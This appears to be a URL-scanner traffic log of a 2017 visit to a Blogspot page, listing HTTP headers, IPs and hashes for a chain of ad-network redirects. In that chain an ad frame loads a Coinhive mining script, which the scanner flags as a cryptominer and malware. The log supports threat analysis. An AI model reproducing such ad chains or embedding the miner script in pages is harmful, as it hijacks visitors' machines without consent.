                                            GET /87d1c6c507/4f9c843bb0/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACGjrijACxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=160&height=600&randomA=741371330889&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTMFU0cWZabk9SNGJZS1RhREpqOXpQZnBHTnFvUDlMZHRuVHlJNHZqRzI1V2ZBcnZwV25TSlozcVdhVGdVMDBhWkNhd1BLaGpZNDQybkc2WXMyZ0xYWHIwRGdOd1Fra0p0UUxoNlVZYUlWSU9nc0xTZVFkYkVLeDR4Tmw4V2I0OHZCWFNUVnhGZEdLWXcyNjA2Rk9MY2ZBVXJnNU1UOHJWU0IwN0xkQzRIZ1c4cTByeTdGUURNdXNaSVNBMUZpd0lPMVZRNnIrUDNGQnNiNGUrdEhzMlgvT1FGNXZJN1R1N1FjU2dkdXd1azdwZmdvVEtVWFdoY0xGVjlGc2xLVEhieHFjUVNQUmIvcUdxMFR0WE4rWEFuR3o2QklMWlloemFwOXFaMHJRa2N0VGxQdDBYZ3R3R2xDeFdVZDYwQzVLbWIrUjFMbXd0ZHVkRHZQa0N4Y3oyQzZGODdvYk01bUNWVEdLZXl6T3lJTUxRSU5IVEhNYWpkVGtaNWJwendHM2VVdXFMVnNWaUcxOG1odDg1cjRYVHQ2dE8xKzlsd3l3MllXcjNYQjhlMUxKZ3dERkZqQnJJbEVyZGZGVDU0Y2dPWnVpZE1uRDN3NWtaNEN6c1N3UU9MZXI5SThJc3JDOFVQa3RYZFJpNnlJMlk= HTTP/1.1 
Host: nurno.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ylx-2.com/show.php?u5451507904036=true&ad=673873&f=160x600&a=781385&s=NjI4ODE3ZjViOWU2M2M1OTkzNWEzMDVkYzMyMzg0ZjU=&u=856169&si=619269635&di=23799882&ci=16&h=5502ebf06fb0ffbb82fd2f2650ac2cf4&cc=NO&useAf=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&ar=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=

                                         
                                         185.66.201.34
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:57 GMT
Transfer-Encoding: chunked
Connection: close
Set-Cookie: total_impressions=1; expires=Sat, 14-Oct-2017 03:59:59 GMT; Max-Age=49562 used_ad1797309=1; expires=Sat, 14-Oct-2017 03:59:59 GMT; Max-Age=49562; path=/
Expires: Sun, 01 Jan 2014 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
X-Robots-Tag: noindex,nofollow
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   892
Md5:    86c7ce19e838b9e2f365665ddded248c
Sha1:   604d566ccd38cd4495504f954d549a40f028d7e2
Sha256: af3facf3479a64f836e60b1e221223c60ced5f3ead9cdf450da77fbb3b880fab
                                        
                                            GET /servepop.php?wid=61455&c=0 HTTP/1.1 
Host: www.shmoki.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: shmpCId=f7fd403c2d1eb4b34656a512c60d9f3f

                                         
                                         164.138.220.84
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:57 GMT
Transfer-Encoding: chunked
Connection: close
Set-Cookie: shmpId=c6a78d17e45e300a4a274d3e6000c169; expires=Fri, 13-Oct-2017 14:13:57 GMT; path=/ shmpCId=25c9ee193a4afe35af4e9a2c5354dfe5; expires=Sat, 14-Oct-2017 14:13:57 GMT


--- Additional Info ---
Magic:  ASCII text, with very long lines
Size:   3349
Md5:    a4d2fad1c61a37614c8b1b9314daad3f
Sha1:   714cefad2424ab9f179ee75e678bf4edc79843f0
Sha256: 9be5438a20fccc58ff64c6c5df9077c5a354f32b9bbf561d0088a1f367ba5743
                                        
                                            GET /a/display.php?r=328230&sub1=84936&treqn=557424959&runauction=1&crr=7193dc61bad9ce0fd274,UHdtF3NqsiRtpmdpRjf2V3eftCPskyXrwTLokyKftCP2d3NtZXaq5nd1t3N1Znc85ma2t3XrwzXrwDWqwTat1Wc0b1380432fc985ec1084&cbrandom=0.1671191888028436&cbtitle=%D8%A8%D8%B3%D9%83%D9%88%D9%8A%D8%AA%20%D8%A7%D9%84%D8%B9%D9%8A%D8%AF%20%D8%A8%D8%A7%D9%84%D9%85%D8%A7%D9%83%D9%8A%D9%86%D9%87%20~%20%D8%A8%D8%B5%20%D9%88%D9%83%D9%84&cbiframe=0&cbWidth=1176&cbHeight=754&cbdescription=&cbkeywords=&cbref= HTTP/1.1 
Host: www.adnetworkperformance.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: acnetwork=4d28817b59e0ca217fafe5d1d8

                                         
                                         130.211.186.109
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Server: openresty
Date: Fri, 13 Oct 2017 14:13:57 GMT
Transfer-Encoding: chunked
Connection: keep-alive
X-Robots-Tag: noindex
Cache-Control: no-store, no-cache, no-transform, must-revalidate, max-age=0, post-check=0, pre-check=0
Pragma: no-cache
Link: <//lp.gclexperts.com>; rel=dns-prefetch,<//lp.gclexperts.com>; rel=preconnect,<//www.adnetworkperformance.com>; rel=dns-prefetch,<//www.adnetworkperformance.com>; rel=preconnect,<//b.codeonclick.com>; rel=dns-prefetch,<//b.codeonclick.com>; rel=preconnect
Set-Cookie: acnetwork=4d28817b59e0ca217fafe5d1d8; expires=Wed, 30-Dec-2037 23:00:00 GMT; Max-Age=637922763; path=/
Referrer-Policy: no-referrer
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Expires: Sat, 26 Jul 1997 05:00:00 GMT
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   13600
Md5:    cae5ec9c1acde4e07eaf769af0b9bc12
Sha1:   173311c35c0ecbfa71522c1864dd32cd07b355c4
Sha256: a750587a9bd10c93ef1849e0654792e42e9589b31f9b9a542f99cd1d785fbeaa
                                        
                                            GET /apu.php?zoneid=708000 HTTP/1.1 
Host: go.pub2srv.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         188.72.202.221
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:57 GMT
Content-Length: 154
Connection: keep-alive
Location: http://deloton.com/apu.php?zoneid=708000
Timing-Allow-Origin: *


--- Additional Info ---
Magic:  HTML document text
Size:   154
Md5:    cfbeaf604823f038b8b46f0ac862b98c
Sha1:   7b9eb1dac48e74fa5f418bc456cb410f88b81d98
Sha256: 20c1ab602462b7fc0d5b4cbd555cacf127b69a07a737579598ebcbc0f5b21319
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         178.255.83.1
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:57 GMT
Server: Apache
Last-Modified: Thu, 12 Oct 2017 02:37:27 GMT
Expires: Thu, 19 Oct 2017 02:37:27 GMT
Etag: 292C2063459CCB3B96C64C38C6D66B8F40D3A107
Cache-Control: max-age=476009,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: rmdccaocsp35
Content-Length: 471
Connection: close


--- Additional Info ---
Magic:  data
Size:   471
Md5:    9d88f26331e119729143a69a5784f35e
Sha1:   292c2063459ccb3b96c64c38c6d66b8f40d3a107
Sha256: 3cc5663d1b2585765c120ee259fceb92c32bf63b1a9fa21b27cf8d6624d726f1
                                        
                                            GET /apu.php?zoneid=708000 HTTP/1.1 
Host: deloton.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html
Cookie: SeenToday=1; OAGEO5580f=12%7CNO%7C03%7COSLO%7CXDSL%7CBROADNET+AS%7C%7C11348%7C11093%7C%3F%7C578270; oaidts=1507904033; OAID=4dabb75f24f27f7b0150d44c1cb4badf; exsdsf=1507904033; pbk3=71c47e093bc4052ea20fbfc037bef5426476398508411584033; fac_ltm=1

                                         
                                         194.187.98.221
HTTP/1.1 200 OK
Content-Type: application/x-javascript
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:57 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Timing-Allow-Origin: *, *
Pragma: no-cache
Cache-Control: private, max-age=0, no-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
P3P: CP="CUR ADM OUR NOR STA NID"
Set-Cookie: OAGEO5580f=12%7CNO%7C03%7COSLO%7CXDSL%7CBROADNET+AS%7C%7C11348%7C11093%7C%3F%7C578270; expires=Sat, 14-Oct-2017 14:13:57 GMT; Max-Age=86400; path=/ OAID=4dabb75f24f27f7b0150d44c1cb4badf; expires=Sat, 13-Oct-2018 14:13:57 GMT; Max-Age=31536000; path=/ exsdsf=1507904037 pbk3=7fb8ed7fddba6028adffb1ca9ef0e8ff6476398526515230865; expires=Fri, 13-Oct-2017 14:23:57 GMT; Max-Age=600
X-Used-AdExchange: 1
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   17072
Md5:    1cac4ba6aa0742228ac122f681dd8c26
Sha1:   0b8e92cd4533bb6d8a0de678b56f7cd8c182ac5e
Sha256: 6e37e0992b0411cf04239c89a0541896e2735633fcc33bfb7675a1738bba00a8
                                        
                                            POST / HTTP/1.1 
Host: ocsp.comodoca.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         178.255.83.1
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:57 GMT
Server: Apache
Last-Modified: Wed, 11 Oct 2017 09:42:49 GMT
Expires: Wed, 18 Oct 2017 09:42:49 GMT
Etag: CAE2D4E36B01556EB5A7DFCAC91643A06697B94B
Cache-Control: max-age=415131,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: rmdccaocsp35
Content-Length: 727
Connection: close


--- Additional Info ---
Magic:  data
Size:   727
Md5:    b1e50e73281d4487d8b1cf3cdaf74bd5
Sha1:   cae2d4e36b01556eb5a7dfcac91643a06697b94b
Sha256: ba282a3cc79d8121086cb931af7199775bd48fef7699ba80e61d794c382b880c
                                        
                                            GET /script/wait.php?stamat=m%7C%2C%2CAjN-tiYntGU3Bk9GH0dEdHP3xP.f8f%2C1IpchAkbh07nMOXC7Fu5Zah9ylDbnVpkrf6anPeJbE3zBPWP4we-eHkVPyIgj8jVL-U9_FFFwD_2WCYi-5OiBaBIGKnO85Hk0g1NOpVsSJIs7R8D0b8ifrUQ2nBbV9d3w4urzv1M2tcMO52iSBi6UKLP82uau3oQKvKGR71Ww6YJPZ3flbOS0-WqhditwimKwrFURQrygm2h4OUo9ksgM5BKjg7Ht8f0Dj9muchd-F-gJjks331i0qSPOlmetifK6wuNAOuJ-c4tzIoSqHtZ-7CovCDkYpapMMv-l3Yq-Ug%2C&srbrb=1&callback=jsonp173963 HTTP/1.1 
Host: b.codeonclick.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         104.155.155.178
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
                                        
Server: openresty
Date: Fri, 13 Oct 2017 14:13:57 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   448
Md5:    77e273b085901254d6457c8d2ab8d350
Sha1:   c647fb0ee7864eb5c896840eeb763c25466d0740
Sha256: 8c8c1d0041e1099c100d5465d9ad42b20c42e635672e8ed084481cf81718052c
                                        
                                            GET /pp?geo=NO&zoneid=708000&oaid=4dabb75f24f27f7b0150d44c1cb4badf&ftz=0&aid=0&nls=0&ltm=0&frl=0&rtg=1 HTTP/1.1 
Host: mt.rtmark.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         185.49.145.177
HTTP/1.1 200 OK
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:58 GMT
Content-Length: 179
Connection: keep-alive


--- Additional Info ---
Magic:  HTML document text\012 exported SGML document text
Size:   179
Md5:    531211969d40e9638699c4c11b97125a
Sha1:   c62ea93b17ae5d7e9db66e5ce14bc4730fcf92cd
Sha256: f7f9658bec62a705c868f6238e2955e78e642c5fd5c635f556ccccf4f1ddab51
                                        
                                            POST / HTTP/1.1 
Host: ocsp.usertrust.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Length: 115
Content-Type: application/ocsp-request

                                         
                                         178.255.83.1
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Fri, 13 Oct 2017 14:13:58 GMT
Server: Apache
Last-Modified: Wed, 11 Oct 2017 09:42:49 GMT
Expires: Wed, 18 Oct 2017 09:42:49 GMT
Etag: 8A7BC9885D9FFAFD7270D5324F22275F2B2C0D13
Cache-Control: max-age=415130,public,no-transform,must-revalidate
X-OCSP-Reponder-ID: rmdccaocsp35
Content-Length: 471
Connection: close


--- Additional Info ---
Magic:  data
Size:   471
Md5:    d7daaf5088b1b8633e7e0d6600507656
Sha1:   8a7bc9885d9ffafd7270d5324f22275f2b2c0d13
Sha256: 9ea32e88334ce42853f79b00abaff0d4ee00214175cd3e1d189a0aa1b4a4ceba
                                        
                                            GET /12159/7073_8764312695617.json.jpeg HTTP/1.1 
Host: aff-a.advertica-cdn.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://nurno.com/87d1c6c507/4f9c843bb0/?placementName=ROTATOR&type=n&cv=XrdpCdrkZdkdiACGjrijACxCGGNpxNrZkNrZiCrCZijCCrkjCiCrCrG&adApiR=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&refferer=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=&width=160&height=600&randomA=741371330889&realRef=SUM5a0V6c001ZVBFOXlBRmxUQXpTMFU0cWZabk9SNGJZS1RhREpqOXpQZnBHTnFvUDlMZHRuVHlJNHZqRzI1V2ZBcnZwV25TSlozcVdhVGdVMDBhWkNhd1BLaGpZNDQybkc2WXMyZ0xYWHIwRGdOd1Fra0p0UUxoNlVZYUlWSU9nc0xTZVFkYkVLeDR4Tmw4V2I0OHZCWFNUVnhGZEdLWXcyNjA2Rk9MY2ZBVXJnNU1UOHJWU0IwN0xkQzRIZ1c4cTByeTdGUURNdXNaSVNBMUZpd0lPMVZRNnIrUDNGQnNiNGUrdEhzMlgvT1FGNXZJN1R1N1FjU2dkdXd1azdwZmdvVEtVWFdoY0xGVjlGc2xLVEhieHFjUVNQUmIvcUdxMFR0WE4rWEFuR3o2QklMWlloemFwOXFaMHJRa2N0VGxQdDBYZ3R3R2xDeFdVZDYwQzVLbWIrUjFMbXd0ZHVkRHZQa0N4Y3oyQzZGODdvYk01bUNWVEdLZXl6T3lJTUxRSU5IVEhNYWpkVGtaNWJwendHM2VVdXFMVnNWaUcxOG1odDg1cjRYVHQ2dE8xKzlsd3l3MllXcjNYQjhlMUxKZ3dERkZqQnJJbEVyZGZGVDU0Y2dPWnVpZE1uRDN3NWtaNEN6c1N3UU9MZXI5SThJc3JDOFVQa3RYZFJpNnlJMlk=

                                         
                                         185.101.140.1
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:57 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Last-Modified: Tue, 07 Mar 2017 20:51:39 GMT
Etag: W/"58bf1d5b-20ebe"
Expires: Sun, 12 Nov 2017 14:13:57 GMT
Cache-Control: max-age=2592000
Access-Control-Allow-Origin: *
X-Cache: HIT
Content-Encoding: gzip


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   125900
Md5:    ce09fcb5a1a5866f2c51fda915b6d9ba
Sha1:   bed28a3b2b4514e875b073deb7ba3705b03e0107
Sha256: 074d9b7fa55eb28dda290ce24ea6a8b0f14370221487f552c28025f6b65a8b61
                                        
                                            GET /img.gif?f=merge&userId=4dabb75f24f27f7b0150d44c1cb4badf HTTP/1.1 
Host: my.rtmark.net
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://mt.rtmark.net/pp?geo=NO&zoneid=708000&oaid=4dabb75f24f27f7b0150d44c1cb4badf&ftz=0&aid=0&nls=0&ltm=0&frl=0&rtg=1
Cookie: ID=4dabb75f24f27f7b0150d44c1cb4badf

                                         
                                         35.156.203.166
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Date: Fri, 13 Oct 2017 14:13:58 GMT
Server: nginx/1.10.1
Set-Cookie: ID=4dabb75f24f27f7b0150d44c1cb4badf; expires=Sat, 13 Oct 2018 14:13:58 GMT
Content-Length: 43
Connection: keep-alive


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   43
Md5:    b4491705564909da7f9eaf749dbbfbb1
Sha1:   279315d507855c6a4351e1e2c2f39dd9cd2fccd8
Sha256: 4e0705327480ad2323cb03d9c450ffcae4a98bf3a5382fa0c7882145ed620e49
                                        
                                            GET / HTTP/1.1 
Host: gt.likes-kaufen.de
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         91.121.67.133
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
                                        
Date: Fri, 13 Oct 2017 14:02:10 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3143
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive


--- Additional Info ---
Magic:  gzip compressed data, from Unix
Size:   3143
Md5:    071c757e989969f40eb33fa5d4f50124
Sha1:   5bc8b680447913bdcf90086dbdb88c47579412c5
Sha256: 4ada68d42e861ad1732e9e95e71b4984b7b010f8b69c80685299533dc4037f0c
                                        
                                            GET /collect?v=1&_v=j64&a=875933836&t=pageview&_s=2&dl=http%3A%2F%2Fboswekol.blogspot.no%2F2014%2F05%2Fblog-post_23.html&ul=en-us&de=UTF-8&dt=%D8%A8%D8%B3%D9%83%D9%88%D9%8A%D8%AA%20%D8%A7%D9%84%D8%B9%D9%8A%D8%AF%20%D8%A8%D8%A7%D9%84%D9%85%D8%A7%D9%83%D9%8A%D9%86%D9%87%20~%20%D8%A8%D8%B5%20%D9%88%D9%83%D9%84&sd=24-bit&sr=1176x885&vp=1159x754&je=1&fl=10.0%20r45&_utma=66733245.451017504.1507904035.1507904036.1507904036.1&_utmz=66733245.1507904036.1.1.utmcsr%3D(direct)%7Cutmccn%3D(direct)%7Cutmcmd%3D(none)&_utmht=1507904037630&_u=KEBCAMQAI~&jid=&gjid=&cid=451017504.1507904035&tid=UA-81239183-1&_gid=987255560.1507904035&z=633417129 HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://boswekol.blogspot.no/2014/05/blog-post_23.html

                                         
                                         172.217.22.174
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Access-Control-Allow-Origin: *
Date: Thu, 12 Oct 2017 18:15:20 GMT
Pragma: no-cache
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Last-Modified: Sun, 17 May 1998 03:00:00 GMT
X-Content-Type-Options: nosniff
Server: Golfe2
Content-Length: 35
Cache-Control: no-cache, no-store, must-revalidate
Age: 71918
Alt-Svc: quic=":443"; ma=2592000; v="39,38,37,35"


--- Additional Info ---
Magic:  GIF image data, version 89a, 1 x 1
Size:   35
Md5:    28d6814f309ea289f847c69cf91194c6
Sha1:   0f4e929dd5bb2564f7ab9c76338e04e292a42ace
Sha256: 8337212354871836e6763a41e615916c89bac5b3f1f0adf60ba43c7c806e1015
                                        
                                            GET /lib/coinhive.min.js HTTP/1.1 
Host: coin-hive.com
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://ylx-2.com/show.php?u5451507904036=true&ad=673873&f=160x600&a=781385&s=NjI4ODE3ZjViOWU2M2M1OTkzNWEzMDVkYzMyMzg0ZjU=&u=856169&si=619269635&di=23799882&ci=16&h=5502ebf06fb0ffbb82fd2f2650ac2cf4&cc=NO&useAf=loaded_string_76171f3d5bb63c9dbdcfb475795d659c65a4e1797309_1507904036.5711_44223&ar=2888381080_aHR0cDovL2Jvc3dla29sLmJsb2dzcG90Lm5vLzIwMTQvMDUvYmxvZy1wb3N0XzIzLmh0bWw=

                                         
                                         78.46.102.214
HTTP/1.1 301 Moved Permanently
Content-Type: text/html
                                        
Server: nginx
Date: Fri, 13 Oct 2017 14:13:58 GMT
Content-Length: 178
Connection: keep-alive
Location: https://coinhive.com/lib/coinhive.min.js


--- Additional Info ---
Magic:  HTML document text
Size:   178
Md5:    cd2e0e43980a00fb6a2742d3afd803b8
Sha1:   81ffbd1712afe8cdf138b570c0fc9934742c33c1
Sha256: bd9df047d51943acc4bc6cf55d88edb5b6785a53337ee2a0f74dd521aedde87d

Alerts:
  urlquery:
    - Crypto currency mining script
  Blacklists:
    - fortinet: Malware
                                        
                                            GET /css/style.css HTTP/1.1 
Host: gt.likes-kaufen.de
                                        
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://gt.likes-kaufen.de/

                                         
                                         91.121.67.133
HTTP/1.1 200 OK
Content-Type: text/css
                                        
Date: Fri, 13 Oct 2017 14:02:12 GMT
Server: Apache/2.4.10 (Debian)
Last-Modified: Fri, 13 Oct 2017 10:54:39 GMT
Etag: "c82-55b6b7bbe4645-gzip"